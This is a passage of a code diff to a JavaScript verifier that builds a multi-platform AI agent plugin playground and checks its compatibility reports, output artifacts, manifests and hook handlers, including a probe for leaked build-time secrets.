-/** 在 Playground 报告不满足预期时使用稳定消息失败。 */ +/** 在 Playground 报告或产物不满足预期时使用稳定消息失败。 */ function assert(condition, message) { if (!condition) throw new Error(message); } -/** Playground 明确接受的 Codex Agent 降级及其依赖传播。 */ -const expectedDegradations = new Set([ - 'agent:investigator\0agent.capabilities', - 'agent:investigator\0agent.model', - 'agent:investigator\0component', - 'agent:recorder\0agent.capabilities', - 'agent:recorder\0agent.model', - 'agent:recorder\0component', - 'agent:reflector\0agent.capabilities', - 'agent:reflector\0agent.model', - 'agent:reflector\0component', - 'command:prune\0dependency:agent:reflector', - 'command:update\0dependency:agent:investigator', - 'command:upgrade\0dependency:agent:recorder', -]); - -/** 判断 relaxed 诊断是否使用预期的稳定结构,而不依赖人类可读文案。 */ -function isExpectedDiagnostic(diagnostic) { - return diagnostic.code === 'COMPATIBILITY_RELAXED' - && diagnostic.platform === 'codex' - && diagnostic.phase === 'compatibility' - && diagnostic.severity === 'warning'; -} - -/** 读取指定 Platform 主 DeliveryUnit 的 Artifact 路径集合。 */ -function artifactsFor(report, platform) { - /** 当前 Platform 唯一主交付单元。 */ - const unit = report.deliveryUnits.find(candidate => candidate.platform === platform && candidate.role === 'primary'); - assert(unit !== undefined, `Playground report is missing the ${platform} primary DeliveryUnit.`); - return new Set(unit.artifacts.map(artifact => artifact.path)); -} - -/** 运行真实 validate,并校验 relaxed 白名单与关键交付资源。 */ -async function main() { +/** 按 UTF-16 code unit 稳定排序路径和兼容性键。 */ +function compareCodeUnits(left, right) { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + +/** 创建兼容性记录的唯一结构化键。 */ +function compatibilityKey(entry) { + return `${entry.platform}\0${entry.level}\0${entry.subject}\0${entry.capability}`; +} + +/** 创建不包含 level 的兼容性查询键。 */ +function compatibilityLookupKey(platform, subject, capability) { + return `${platform}\0${subject}\0${capability}`; +} + +/** 读取 UTF-8 文件。 */ +async function readText(file) { + return fs.readFile(file, 'utf8'); +} + +/** 读取并解析 JSON 文件。 */ +async function readJson(file) { + return JSON.parse(await readText(file)); +} + +/** 判断路径是否存在,不把其他文件系统错误吞成 missing。 */ +async function exists(file) { + try { + await fs.access(file); + return true; + } catch (error) { + if (error?.code === 'ENOENT') + return false; + throw error; + } +} + +/** 递归列出目录中的普通文件,并拒绝意外符号链接。 */ +async function listFiles(directory, prefix = '') { + /** 当前目录按名称稳定排序后的条目。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => compareCodeUnits(left.name, right.name)); + /** 当前子树累计的 POSIX 相对文件路径。 */ + const files = []; + for (const entry of entries) { + /** 当前条目的绝对路径。 */ + const absolute = path.join(directory, entry.name); + /** Artifact Registry 使用的 POSIX 相对路径。 */ + const relative = prefix === '' ? entry.name : `${prefix}/${entry.name}`; + assert(!entry.isSymbolicLink(), `Playground output contains unexpected symlink ${relative}.`); + if (entry.isDirectory()) + files.push(...await listFiles(absolute, relative)); + else { + assert(entry.isFile(), `Playground output contains non-file entry ${relative}.`); + files.push(relative); + } + } + return files; +} + +/** 对完整 dist 树建立包含路径、mode 和字节 hash 的稳定快照。 */ +async function snapshotOutput() { + /** 当前输出中所有普通文件的稳定路径。 */ + const files = await listFiles(outputRoot); + /** 每个文件的权限与字节摘要。 */ + const snapshot = []; + for (const file of files) { + /** 当前产物的绝对路径。 */ + const absolute = path.join(outputRoot, file); + /** 当前产物的权限信息。 */ + const stat = await fs.stat(absolute); + /** 当前产物的原始字节。 */ + const bytes = await fs.readFile(absolute); + snapshot.push(`${file}\0${stat.mode & 0o777}\0${createHash('sha256').update(bytes).digest('hex')}`); + } + return snapshot; +} + +/** 运行真实 CLI command,并传入构建期 Secret 泄漏探针。 */ +async function runCli(command) { /** CLI 稳定 JSON 模式产生的标准输出。 */ - const { stdout } = await execute(process.execPath, [cli, 'validate', '--json'], { + const { stdout } = await execute(process.execPath, [cli, command, '--json'], { cwd: playground, - maxBuffer: 4 * 1024 * 1024, + env: { + ...process.env, + PLAYGROUND_LOCAL_TOKEN: secretMarker, + PLAYGROUND_MCP_TENANT: secretMarker, + PLAYGROUND_MCP_TOKEN: secretMarker, + }, + maxBuffer: 16 * 1024 * 1024, }); - /** 已解析的公开 BuildResult 报告。 */ - const report = JSON.parse(stdout); - assert(report.success === true, 'Playground validation did not succeed.'); - assert(report.committed === false, 'Playground validation unexpectedly committed output.'); - assert(report.diagnostics.every(isExpectedDiagnostic), 'Playground report contains an unexpected diagnostic.'); - assert(report.compatibility.every(entry => entry.level !== 'unsupported'), 'Playground report contains unsupported compatibility.'); - /** 报告中实际出现的全部 degraded 结构化兼容性键。 */ - const degradedEntries = report.compatibility.filter(entry => entry.level === 'degraded'); - /** 去重后的 subject/capability 键,用于拒绝未声明的降级。 */ - const actualDegradations = new Set(degradedEntries.map(entry => `${entry.subject}\0${entry.capability}`)); - assert(degradedEntries.length === expectedDegradations.size, 'Playground report contains an unexpected number of degradations.'); - assert(actualDegradations.size === expectedDegradations.size, 'Playground report contains an unexpected number of degradations.'); - for (const degradation of expectedDegradations) - assert(actualDegradations.has(degradation), `Playground report is missing expected degradation ${degradation.replace('\0', ' / ')}.`); - assert(report.diagnostics.length === expectedDegradations.size, 'Playground diagnostics do not match the accepted degradations.'); + return JSON.parse(stdout); +} + +/** 在不经过 shell 的子进程中运行 Hook 或 MCP 协议输入。 */ +async function runProtocol(file, arguments_, input, environment = {}) { + return new Promise((resolve, reject) => { + /** 被验证的真实生成程序。 */ + const child = spawn(process.execPath, [file, ...arguments_], { + cwd: path.dirname(file), + env: { ...process.env, ...environment }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 当前协议运行的完整标准输出。 */ + let stdout = ''; + /** 当前协议运行的完整标准错误。 */ + let stderr = ''; + /** 防止损坏模板令验证器无限等待的超时。 */ + const timer = setTimeout(() => child.kill('SIGTERM'), 5_000); + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk) => { + stderr += chunk; + }); + child.once('error', (error) => { + clearTimeout(timer); + reject(error); + }); + child.once('close', (code) => { + clearTimeout(timer); + resolve({ code, stdout, stderr }); + }); + child.stdin.end(input); + }); +} + +/** 向 expected non-native 集合增加一条精确结论。 */ +function addExpected(target, platform, level, subject, capability) { + target.add(`${platform}\0${level}\0${subject}\0${capability}`); +} + +/** 从模板能力矩阵生成全部允许的 degraded/unsupported 白名单。 */ +function expectedNonNativeEntries() { + /** 只允许显式登记的非无损兼容性记录。 */ + const expected = new Set(); + for (const platform of ['antigravity', 'codex', 'pi']) { + for (const agent of agents) { + for (const capability of ['agent.capabilities', 'agent.model', 'component']) + addExpected(expected, platform, 'degraded', `agent:${agent}`, capability); + } + } + addExpected(expected, 'cursor', 'degraded', 'agent:investigator', 'agent.model'); + addExpected(expected, 'cursor', 'degraded', 'agent:recorder', 'agent.capabilities'); + addExpected(expected, 'cursor', 'degraded', 'agent:reflector', 'agent.model'); + addExpected(expected, 'opencode', 'degraded', 'agent:investigator', 'agent.model'); + addExpected(expected, 'opencode', 'degraded', 'agent:reflector', 'agent.model'); + + for (const platform of ['antigravity', 'codex', 'cursor', 'opencode']) + addExpected(expected, platform, 'degraded', 'command:init', 'argumentHint'); + /** 依赖 Agent 降级后必须传播到对应 Command 的稳定映射。 */ + const dependencyCommands = { + prune: 'reflector', + update: 'investigator', + upgrade: 'recorder', + }; + for (const platform of ['antigravity', 'codex', 'cursor', 'pi']) { + for (const [command, agent] of Object.entries(dependencyCommands)) + addExpected(expected, platform, 'degraded', `command:${command}`, `dependency:agent:${agent}`); + } + for (const [command, agent] of Object.entries(dependencyCommands).filter(([id]) => id !== 'upgrade')) + addExpected(expected, 'opencode', 'degraded', `command:${command}`, `dependency:agent:${agent}`); + + for (const platform of platforms) { + for (const [id, event] of Object.entries(hookEvents)) { + /** 当前事件在目标 Platform 的精确支持等级。 */ + const level = hookEventLevels[platform][id]; + if (level === 'degraded' || level === 'unsupported') + addExpected(expected, platform, level, `hook:${id}`, `event.${event}`); + } + } + for (const platform of ['antigravity', 'cursor', 'opencode', 'pi']) { + for (const hook of ['pre-tool-use', 'session-start']) + addExpected(expected, platform, 'degraded', `hook:${hook}`, 'statusMessage'); + } + + for (const platform of ['antigravity', 'cursor']) { + addExpected(expected, platform, 'unsupported', 'mcp:local-tools', 'transport.stdio'); + addExpected(expected, platform, 'degraded', 'mcp:oauth-docs', 'auth.oauth.scopes'); + } + addExpected(expected, 'pi', 'unsupported', 'mcp:local-tools', 'transport.stdio'); + for (const id of ['oauth-docs', 'protected-docs', 'public-docs']) + addExpected(expected, 'pi', 'unsupported', `mcp:${id}`, 'transport.http'); + assert(expected.size === 84, 'Playground verifier has an inconsistent non-native policy table.'); + return expected; +} + +/** 校验报告结构、兼容性矩阵、诊断和 DeliveryUnit 覆盖。 */ +function verifyReport(report, command) { + assert(report.success === true, `Playground ${command} did not succeed.`); + assert(report.command === command, `Playground ${command} report has the wrong command.`); + assert(report.committed === (command === 'build'), `Playground ${command} has the wrong committed state.`); + assert(JSON.stringify(report.platforms) === JSON.stringify(platforms), 'Playground report has the wrong Platform set.'); + assert(report.compatibility.length === 211, 'Playground compatibility coverage changed unexpectedly.'); + + /** 所有 compatibility 条目的唯一查询索引。 */ + const compatibility = new Map(); + for (const entry of report.compatibility) { + /** 忽略 level 后仍应唯一的精确兼容性身份。 */ + const key = compatibilityLookupKey(entry.platform, entry.subject, entry.capability); + assert(!compatibility.has(key), `Playground report duplicates compatibility ${key.replaceAll('\0', ' / ')}.`); + compatibility.set(key, entry); + } + /** 查询并校验一条必须存在的结构化兼容性记录。 */ + const expectLevel = (platform, subject, capability, level) => { + /** 当前期望记录对应的唯一查询键。 */ + const key = compatibilityLookupKey(platform, subject, capability); + /** 按查询键取得的实际兼容性记录。 */ + const entry = compatibility.get(key); + assert(entry !== undefined, `Playground report is missing ${key.replaceAll('\0', ' / ')}.`); + assert(entry.level === level, `Playground report has wrong level for ${key.replaceAll('\0', ' / ')}.`); + }; + + /** 三类 Component 在各 Platform 的主资源等级。 */ + const componentLevels = { + 'antigravity': { command: 'transform', skill: 'native', agent: 'degraded' }, + 'claude-code': { command: 'native', skill: 'native', agent: 'native' }, + 'codex': { command: 'transform', skill: 'native', agent: 'degraded' }, + 'cursor': { command: 'native', skill: 'native', agent: 'native' }, + 'opencode': { command: 'native', skill: 'native', agent: 'native' }, + 'pi': { command: 'transform', skill: 'native', agent: 'degraded' }, + }; + for (const platform of platforms) { + for (const command of commands) + expectLevel(platform, `command:${command}`, 'component', componentLevels[platform].command); + expectLevel(platform, 'skill:project-workflow', 'component', componentLevels[platform].skill); + for (const agent of agents) + expectLevel(platform, `agent:${agent}`, 'component', componentLevels[platform].agent); + for (const [id, event] of Object.entries(hookEvents)) + expectLevel(platform, `hook:${id}`, `event.${event}`, hookEventLevels[platform][id]); + } + + /** 每个平台必须精确报告的 MCP 能力键与等级。 */ + const mcpLevels = { + 'antigravity': [ + ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth.scopes', 'degraded'], + ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], + ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], + ['public-docs', 'transport.http', 'native'], + ], + 'claude-code': [ + ['local-tools', 'transport.stdio', 'native'], ['oauth-docs', 'auth.oauth', 'native'], + ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], + ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], + ['public-docs', 'transport.http', 'native'], + ], + 'codex': [ + ['local-tools', 'transport.stdio', 'native'], ['oauth-docs', 'auth.oauth', 'native'], + ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], + ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], + ['public-docs', 'transport.http', 'native'], + ], + 'cursor': [ + ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth.scopes', 'degraded'], + ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], + ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], + ['public-docs', 'transport.http', 'native'], + ], + 'opencode': [ + ['local-tools', 'transport.stdio', 'native'], ['oauth-docs', 'auth.oauth', 'native'], + ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], + ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], + ['public-docs', 'transport.http', 'native'], + ], + 'pi': [ + ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'transport.http', 'unsupported'], + ['protected-docs', 'transport.http', 'unsupported'], ['public-docs', 'transport.http', 'unsupported'], + ], + }; + for (const platform of platforms) { + /** 当前 Platform 实际出现的 MCP 兼容性条目。 */ + const actual = report.compatibility.filter(entry => entry.platform === platform && entry.subject.startsWith('mcp:')); + assert(actual.length === mcpLevels[platform].length, `${platform} has unexpected MCP compatibility coverage.`); + for (const [id, capability, level] of mcpLevels[platform]) + expectLevel(platform, `mcp:${id}`, capability, level); + } + + /** 报告中实际出现的全部 degraded/unsupported 结构化键。 */ + const actualNonNative = new Set(report.compatibility + .filter(entry => entry.level === 'degraded' || entry.level === 'unsupported') + .map(compatibilityKey)); + /** 模板显式接受的完整非无损能力集合。 */ + const expectedNonNative = expectedNonNativeEntries(); + assert(actualNonNative.size === expectedNonNative.size, 'Playground report has an unexpected number of non-native entries.'); + for (const key of expectedNonNative) + assert(actualNonNative.has(key), `Playground report is missing accepted non-native entry ${key.replaceAll('\0', ' / ')}.`); + for (const key of actualNonNative) + assert(expectedNonNative.has(key), `Playground report contains unexpected non-native entry ${key.replaceAll('\0', ' / ')}.`); + + /** 允许的非兼容性诊断及其精确数量。 */ + const diagnosticCounts = { + ANTIGRAVITY_METADATA_OMITTED: 8, + COMPATIBILITY_RELAXED: 84, + CURSOR_METADATA_AUTHOR_URL_OMITTED: 1, + METADATA_OMITTED: 18, + PI_METADATA_DISPLAY_NAME_OMITTED: 1, + }; + /** 按稳定 code 汇总报告诊断。 */ + const actualDiagnosticCounts = Object.fromEntries(Object.entries(Object.groupBy(report.diagnostics, item => item.code)) + .map(([code, items]) => [code, items.length])); + assert(Object.keys(actualDiagnosticCounts).length === Object.keys(diagnosticCounts).length, 'Playground diagnostics contain an unexpected code.'); + for (const [code, count] of Object.entries(diagnosticCounts)) + assert(actualDiagnosticCounts[code] === count, `Playground diagnostic ${code} has an unexpected count.`); + assert(report.diagnostics.every(item => item.severity === 'warning'), 'Playground report contains a non-warning diagnostic.'); + + /** 预期的主交付与可选 Marketplace 交付身份。 */ + const expectedUnits = [ + 'antigravity\0plugin\0primary\0plugin', + 'claude-code\0marketplace\0distribution\0marketplace', + 'claude-code\0plugin\0primary\0plugin', + 'codex\0marketplace\0distribution\0marketplace', + 'codex\0plugin\0primary\0plugin', + 'cursor\0plugin\0primary\0plugin', + 'opencode\0workspace\0primary\0workspace', + 'pi\0package\0primary\0package', + ]; + /** 实际 DeliveryUnit 的结构化身份。 */ + const actualUnits = report.deliveryUnits.map(unit => `${unit.platform}\0${unit.id}\0${unit.role}\0${unit.type}`); + assert(JSON.stringify(actualUnits) === JSON.stringify(expectedUnits), 'Playground DeliveryUnit topology changed unexpectedly.'); +} + +/** 校验报告 Artifact 清单与 dist 中实际文件精确一致。 */ +async function verifyArtifactClosure(report) { + /** dist 只能包含本次选择的六个平台目录。 */ + const platformDirectories = (await fs.readdir(outputRoot)).sort(compareCodeUnits); + assert(JSON.stringify(platformDirectories) === JSON.stringify(platforms), 'Managed dist contains a stale or missing Platform directory.'); + for (const unit of report.deliveryUnits) { + /** 当前交付单元的真实安装根。 */ + const directory = path.join(outputRoot, unit.platform, unit.id); + /** 文件系统实际 materialize 的 Artifact 路径。 */ + const actual = (await listFiles(directory)).sort(compareCodeUnits); + /** 报告中经过 owner/hash 校验的 Artifact 路径。 */ + const reported = unit.artifacts.map(artifact => artifact.path).sort(compareCodeUnits); + assert(JSON.stringify(actual) === JSON.stringify(reported), `${unit.platform}/${unit.id} files do not match the BuildResult Artifact registry.`); + } +} + +/** 校验 Canonical Component、Skill auxiliary 和 Public 复制内容。 */ +async function verifyCanonicalOutputs() { + /** 六个平台各自的主交付安装根。 */ + const roots = { + 'antigravity': path.join(outputRoot, 'antigravity/plugin'), + 'claude-code': path.join(outputRoot, 'claude-code/plugin'), + 'codex': path.join(outputRoot, 'codex/plugin'), + 'cursor': path.join(outputRoot, 'cursor/plugin'), + 'opencode': path.join(outputRoot, 'opencode/workspace'), + 'pi': path.join(outputRoot, 'pi/package'), + }; + /** 每个平台中 Command 的最终路径函数。 */ + const commandPath = { + /** Antigravity 把 Command 转换为 Skill。 */ + 'antigravity': id => `skills/command-${id}/SKILL.md`, + /** Claude Code 保留原生 Command。 */ + 'claude-code': id => `commands/${id}.md`, + /** Codex 把 Command 转换为 Skill。 */ + 'codex': id => `skills/command-${id}/SKILL.md`, + /** Cursor 保留原生 Command。 */ + 'cursor': id => `commands/${id}.md`, + /** OpenCode 把 Command 写入工作区目录。 */ + 'opencode': id => `.opencode/commands/${id}.md`, + /** Pi 把 Command 转换为 Prompt。 */ + 'pi': id => `prompts/${id}.md`, + }; + /** 每个平台中原生或 fallback Agent 的最终路径函数。 */ + const agentPath = { + /** Antigravity 把 Agent 降级为 Skill。 */ + 'antigravity': id => `skills/agent-${id}/SKILL.md`, + /** Claude Code 保留原生 Agent。 */ + 'claude-code': id => `agents/${id}.md`, + /** Codex 把 Agent 降级为 Skill。 */ + 'codex': id => `skills/agent-${id}/SKILL.md`, + /** Cursor 保留原生 Agent。 */ + 'cursor': id => `agents/${id}.md`, + /** OpenCode 把 Agent 写入工作区目录。 */ + 'opencode': id => `.opencode/agents/${id}.md`, + /** Pi 把 Agent 降级为 Skill。 */ + 'pi': id => `skills/agent-${id}/SKILL.md`, + }; + /** 每个平台中 project-workflow Skill 的最终根。 */ + const skillRoot = { + 'antigravity': 'skills/project-workflow', + 'claude-code': 'skills/project-workflow', + 'codex': 'skills/project-workflow', + 'cursor': 'skills/project-workflow', + 'opencode': '.opencode/skills/project-workflow', + 'pi': 'skills/project-workflow', + }; + + for (const platform of platforms) { + for (const command of commands) { + /** 当前 Platform 的 Command 或转换后 Skill/Prompt 内容。 */ + const content = await readText(path.join(roots[platform], commandPath[platform](command))); + assert(content.includes('description:'), `${platform} ${command} output is missing frontmatter.`); + assert(content.includes('ACPlugin capability template'), `${platform} ${command} output lost its canonical body.`); + } + /** init 是唯一带 argumentHint 和参数占位符的覆盖用例。 */ + const init = await readText(path.join(roots[platform], commandPath[platform]('init'))); + if (platform === 'claude-code' || platform === 'cursor' || platform === 'opencode' || platform === 'pi') + assert(init.includes('$ARGUMENTS'), `${platform} init did not preserve native argument substitution.`); + else + assert(init.includes('the arguments supplied with this explicit invocation'), `${platform} init did not explain transformed arguments.`); + assert(init.includes('argument-hint: ') === (platform === 'claude-code' || platform === 'pi'), `${platform} init has the wrong argument hint representation.`); + + for (const agent of agents) { + /** 当前 Platform 的原生 Agent 或 guidance fallback。 */ + const content = await readText(path.join(roots[platform], agentPath[platform](agent))); + assert(content.includes(`description:`), `${platform} ${agent} Agent output is missing metadata.`); + if (['antigravity', 'codex', 'pi'].includes(platform)) + assert(content.includes('Intended model class:') && content.includes('guidance'), `${platform} ${agent} fallback lost explicit limitations.`); + } + + /** 当前 Platform 生成的规范 Skill 主文件。 */ + const skill = await readText(path.join(roots[platform], skillRoot[platform], 'SKILL.md')); + assert(skill.includes('name: project-workflow'), `${platform} Skill is missing its generated name.`); + assert(skill.includes('Project workflow capability template'), `${platform} Skill lost its canonical body.`); + for (const auxiliary of skillAuxiliary) { + /** Canonical Skill 辅助文件原始字节。 */ + const source = await fs.readFile(path.join(playground, 'src/skills/project-workflow', auxiliary)); + /** 当前 Platform 按 owner 复制的辅助文件字节。 */ + const generated = await fs.readFile(path.join(roots[platform], skillRoot[platform], auxiliary)); + assert(source.equals(generated), `${platform} changed Skill auxiliary ${auxiliary}.`); + } + + /** Public 文件必须对所有交付单元执行逐字节复制。 */ + const publicFiles = await listFiles(path.join(playground, 'public')); + for (const file of publicFiles) { + /** 当前 Public 源文件的原始字节。 */ + const source = await fs.readFile(path.join(playground, 'public', file)); + /** 当前 Platform 复制后的 Public 文件字节。 */ + const generated = await fs.readFile(path.join(roots[platform], file)); + assert(source.equals(generated), `${platform} changed Public file ${file}.`); + } + } + + /** Claude Code 平台专属字段必须落入原生 Frontmatter。 */ + const claudeInit = await readText(path.join(roots['claude-code'], 'commands/init.md')); + assert(claudeInit.includes('allowed-tools:') && claudeInit.includes('model: sonnet'), 'Claude Code Command options were not emitted.'); + /** Codex Skill 专属展示与 policy 字段必须落入 openai.yaml。 */ + const codexMetadata = await readText(path.join(roots.codex, 'skills/project-workflow/agents/openai.yaml')); + assert(codexMetadata.includes('icon_small: ./assets/icon-small.svg'), 'Codex Skill metadata is missing icon_small.'); + assert(codexMetadata.includes('brand_color: "#FACC15"'), 'Codex Skill metadata is missing brand color.'); + assert(codexMetadata.includes('- CODEX'), 'Codex Skill metadata is missing products policy.'); + /** Cursor 只对纯读取 Agent 输出 readonly。 */ + const cursorInvestigator = await readText(path.join(roots.cursor, 'agents/investigator.md')); + /** Cursor 中拥有写权限的 recorder Agent。 */ + const cursorRecorder = await readText(path.join(roots.cursor, 'agents/recorder.md')); + assert(cursorInvestigator.includes('readonly: true'), 'Cursor read-only Agent did not preserve its capability boundary.'); + assert(!cursorRecorder.includes('readonly: true'), 'Cursor writable Agent was incorrectly marked read-only.'); + /** OpenCode 必须生成明确的工具和权限映射。 */ + const openCodeRecorder = await readText(path.join(roots.opencode, '.opencode/agents/recorder.md')); + assert(openCodeRecorder.includes('edit: true') && openCodeRecorder.includes('bash: deny'), 'OpenCode Agent capability mapping is incorrect.'); +} + +/** 校验六个平台 Manifest/Config 与两个 Marketplace 分发物。 */ +async function verifyManifestsAndDistributions() { + /** Claude Code 插件清单。 */ + const claude = await readJson(path.join(outputRoot, 'claude-code/plugin/.claude-plugin/plugin.json')); + assert(claude.commands === './commands/' && claude.skills === './skills/' && claude.agents === './agents/', 'Claude Code manifest has wrong Component references.'); + assert(claude.hooks === './hooks/hooks.json' && claude.mcpServers === './.mcp.json', 'Claude Code manifest has wrong Extension references.'); + assert(claude.defaultEnabled === false, 'Claude Code defaultEnabled option was not emitted.'); + /** Codex 插件清单。 */ + const codex = await readJson(path.join(outputRoot, 'codex/plugin/.codex-plugin/plugin.json')); + assert(codex.skills === './skills/' && codex.hooks === './hooks/hooks.json' && codex.mcpServers === './.mcp.json', 'Codex manifest has wrong resource references.'); + assert(codex.interface.brandColor === '#FACC15' && codex.interface.logo === './assets/acplugin.svg', 'Codex interface options were not emitted.'); + /** Cursor 插件清单。 */ + const cursor = await readJson(path.join(outputRoot, 'cursor/plugin/.cursor-plugin/plugin.json')); + assert(cursor.commands === './commands/*.md' && cursor.skills === './skills/*/SKILL.md' && cursor.agents === './agents/*.md', 'Cursor manifest has wrong Component globs.'); + assert(cursor.hooks === './hooks/hooks.json' && cursor.mcpServers === './mcp.json', 'Cursor manifest has wrong Extension references.'); + assert(cursor.logo === './assets/acplugin.svg' && cursor.minClientVersions.cursor === '1.0.0', 'Cursor Platform options were not emitted.'); + /** Antigravity 只允许已确认的最小 Manifest。 */ + const antigravity = await readJson(path.join(outputRoot, 'antigravity/plugin/plugin.json')); + assert(JSON.stringify(antigravity) === '{"name":"acplugin-capability-playground"}', 'Antigravity manifest contains an unverified field.'); + /** OpenCode Workspace Config 由 schema 与 MCP add-only patch 组成。 */ + const openCode = await readJson(path.join(outputRoot, 'opencode/workspace/opencode.json')); + assert(openCode.$schema === 'https://opencode.ai/config.json' && Object.keys(openCode.mcp).length === 4, 'OpenCode workspace config is incomplete.'); + /** Pi npm package 必须保持公开包边界并发现全部资源。 */ + const pi = await readJson(path.join(outputRoot, 'pi/package/package.json')); + assert(pi.private === undefined && pi.workspaces === undefined, 'Pi package leaks workspace-only fields.'); + assert(JSON.stringify(pi.pi.extensions) === '["./extensions/acplugin-hooks.mjs"]', 'Pi package does not discover the Hooks Extension.'); + assert(pi.pi.image === './assets/acplugin.svg' && pi.pi.video.startsWith('https://'), 'Pi gallery options were not emitted.'); + assert(!Object.hasOwn(pi.pi, 'mcp'), 'Pi package fabricated unsupported MCP configuration.'); + + /** Claude Code Marketplace 根清单。 */ + const claudeMarketplace = await readJson(path.join(outputRoot, 'claude-code/marketplace/.claude-plugin/marketplace.json')); + assert(claudeMarketplace.name === 'acplugin-capability-playground-marketplace', 'Claude Code Marketplace has the wrong name.'); + assert(claudeMarketplace.plugins.length === 1 && claudeMarketplace.plugins[0].source === './' && claudeMarketplace.plugins[0].strict === true, 'Claude Code Marketplace source is not self-contained.'); + /** Codex Marketplace 根清单。 */ + const codexMarketplace = await readJson(path.join(outputRoot, 'codex/marketplace/.agents/plugins/marketplace.json')); + assert(codexMarketplace.name === 'acplugin-capability-playground-marketplace', 'Codex Marketplace has the wrong name.'); + assert(codexMarketplace.plugins.length === 1 && codexMarketplace.plugins[0].source.path === './', 'Codex Marketplace source is not self-contained.'); for (const platform of ['claude-code', 'codex']) { - /** 当前 Platform 交付单元中的全部稳定 Artifact 路径。 */ - const artifacts = artifactsFor(report, platform); - for (const reference of ['frontier', 'transaction', 'reflection-promotion', 'compact-continuation']) { - assert(artifacts.has(`skills/llmdoc/references/${reference}.md`), `${platform} is missing Skill reference ${reference}.`); + /** 当前 Platform 主 Plugin 的全部文件。 */ + const primaryRoot = path.join(outputRoot, platform, 'plugin'); + /** 当前 Platform 自包含 Marketplace 的全部文件。 */ + const marketplaceRoot = path.join(outputRoot, platform, 'marketplace'); + for (const file of await listFiles(primaryRoot)) { + /** 主交付单元中的继承文件字节。 */ + const primary = await fs.readFile(path.join(primaryRoot, file)); + /** Marketplace 中对应文件的字节。 */ + const distributed = await fs.readFile(path.join(marketplaceRoot, file)); + assert(primary.equals(distributed), `${platform} Marketplace changed inherited Artifact ${file}.`); } - for (const hook of ['session-start', 'pre-compact', 'stop']) { - assert(artifacts.has(`hooks/${hook}/handler.mjs`), `${platform} is missing Hook handler ${hook}.`); - assert(artifacts.has(`hooks/${hook}/wire.mjs`), `${platform} is missing Hook wire ${hook}.`); + } +} + +/** 创建每个 Hook handler 使用的合法原生输入。 */ +function hookInput(event) { + /** 所有 Hook 输入共享的规范 snake_case 字段。 */ + const input = { + session_id: 'playground-session', + transcript_path: null, + cwd: '.', + hook_event_name: event, + }; + if (event === 'SessionStart') + return { ...input, source: 'startup' }; + if (event === 'SessionEnd') + return { ...input, reason: 'complete' }; + if (event === 'UserPromptSubmit') + return { ...input, prompt: 'Inspect the template.' }; + if (event === 'PreToolUse' || event === 'PermissionRequest') + return { ...input, tool_name: 'Read', tool_input: { path: 'README.md' }, tool_use_id: 'tool-1' }; + if (event === 'PostToolUse') + return { ...input, tool_name: 'Read', tool_input: { path: 'README.md' }, tool_use_id: 'tool-1', tool_response: { ok: true } }; + if (event === 'PreCompact' || event === 'PostCompact') + return { ...input, trigger: 'manual' }; + if (event === 'SubagentStart') + return { ...input, agent_id: 'agent-1', agent_type: 'investigator' }; + if (event === 'SubagentStop') + return { ...input, agent_id: 'agent-1', agent_type: 'investigator', stop_hook_active: true }; + return { ...input, stop_hook_active: true, last_assistant_message: 'Done.' }; +} + +/** 校验 Hook 配置引用、支持矩阵、运行文件和真实 Handler/wire 协议。 */ +async function verifyHooks() { + /** 每个平台的 Hook 运行文件根。 */ + const hookRoots = { + 'antigravity': path.join(outputRoot, 'antigravity/plugin/hooks'), + 'claude-code': path.join(outputRoot, 'claude-code/plugin/hooks'), + 'codex': path.join(outputRoot, 'codex/plugin/hooks'), + 'cursor': path.join(outputRoot, 'cursor/plugin/hooks'), + 'opencode': path.join(outputRoot, 'opencode/workspace/.opencode/acplugin-hooks'), + 'pi': path.join(outputRoot, 'pi/package/extensions/acplugin-hooks'), + }; + /** 可以检查引用闭包的 Platform 配置文本。 */ + const configurationText = { + 'antigravity': await readText(path.join(outputRoot, 'antigravity/plugin/hooks.json')), + 'claude-code': await readText(path.join(outputRoot, 'claude-code/plugin/hooks/hooks.json')), + 'codex': await readText(path.join(outputRoot, 'codex/plugin/hooks/hooks.json')), + 'cursor': await readText(path.join(outputRoot, 'cursor/plugin/hooks/hooks.json')), + 'opencode': await readText(path.join(outputRoot, 'opencode/workspace/.opencode/plugins/acplugin-hooks.mjs')), + 'pi': await readText(path.join(outputRoot, 'pi/package/extensions/acplugin-hooks.mjs')), + }; + for (const platform of platforms) { + for (const [id, event] of Object.entries(hookEvents)) { + /** unsupported 事件不得留下 Handler、wire 或配置引用。 */ + const supported = hookEventLevels[platform][id] !== 'unsupported'; + /** 当前 Platform 中 handler 的绝对路径。 */ + const handler = path.join(hookRoots[platform], id, 'handler.mjs'); + /** 当前 Platform 中 wire profile 的绝对路径。 */ + const wire = path.join(hookRoots[platform], id, 'wire.mjs'); + assert(await exists(handler) === supported, `${platform} has wrong Handler presence for ${id}.`); + assert(await exists(wire) === supported, `${platform} has wrong wire presence for ${id}.`); + assert(configurationText[platform].includes(id) === supported, `${platform} has wrong Hook config reference for ${id}.`); + if (!supported) + continue; + /** Handler 必须是可执行文件,wire 必须是普通只读数据代码。 */ + const handlerMode = (await fs.stat(handler)).mode & 0o777; + /** 当前 wire 文件的权限位。 */ + const wireMode = (await fs.stat(wire)).mode & 0o777; + assert(handlerMode === 0o755 && wireMode === 0o644, `${platform} ${id} has wrong 